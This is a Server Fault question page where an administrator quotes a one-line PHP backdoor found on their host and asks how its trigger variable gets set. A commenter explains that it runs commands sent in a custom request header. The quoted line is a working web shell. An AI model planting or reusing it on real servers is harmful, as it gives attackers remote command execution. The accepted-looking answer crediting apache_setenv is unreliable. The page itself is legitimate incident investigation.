Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

I've found a php backdoor on my host.

<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>

I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that variable was set; could someone explain how such variable can be set and if possible where can I limit/disable setting such variables on server side.

thanks

-H.

share|improve this question

migrated from stackoverflow.com Jul 22 '11 at 1:49

This question came from our site for professional and enthusiast programmers.

closed as off topic by Mark Henderson Jul 22 '11 at 2:13

Questions on Server Fault are expected to relate to professional server, networking, or related infrastructure administration within the scope defined by the community. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about reopening questions here.If this question can be reworded to fit the rules in the help center, please edit the question.

    
Are you merely investigating this, or do you need to close a security hole by patching the code? –  outis Jul 22 '11 at 1:43
    
@Hrvoje - sorry, this question should never have been migrated here. This is a question about php and security, so if it belongs anywhere on the network it would be at security.se –  Mark Henderson Jul 22 '11 at 2:13
    
im investigating yes; trying to understand how things work; I've put it to coders site but they moved it to server fault ... gah –  Hrvoje Špoljar Jul 22 '11 at 10:43
1  
HTTP_ACCEPT_TROLOLO is automatically set by PHP & apache if there's an Accept-Trololo header. you may detect this header for removal with mod-security but the real problem is the presence of the PHP script (as another legacy header could be used) –  regilero Jul 22 '11 at 15:59
    
@regilero: you're the man! thanks a lot. –  Hrvoje Špoljar Jul 23 '11 at 1:50
add comment

1 Answer

it was set by apache_setenv();

Search for

apache_setenv("HTTP_ACCEPT_TROL

or

apache_setenv('HTTP_ACCEPT_TROL

and you'll find your answer

share|improve this answer
    
that may be so; but I see now way how that could be done remotely; hence what is use of backdoor if you can't use it remotely? –  Hrvoje Špoljar Jul 22 '11 at 0:34
    
" and ' ... it can be both –  genesis Jul 22 '11 at 0:35
    
you would maybe get way by telling us that apache env –  genesis Jul 22 '11 at 0:36
    
This question is clearly off topic (it's not programming related in any sense and belongs on serverfault). Please don't answer such questions; it encourages others to post similar off topic questions and clutters the site, making it less effective as a resource. With 5K+ rep, you should be familiar with what's on topic and what's not; if you're not, please read the FAQ so that you are more so. Thanks. :) –  Ken White Jul 22 '11 at 0:36
1  
@KenWhite: His question contains PHP code, and it maybe does (not necessary though) belongs to serverfault. It could be just phpcode, or server-side implemention. Nobody knows –  genesis Jul 22 '11 at 0:38
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.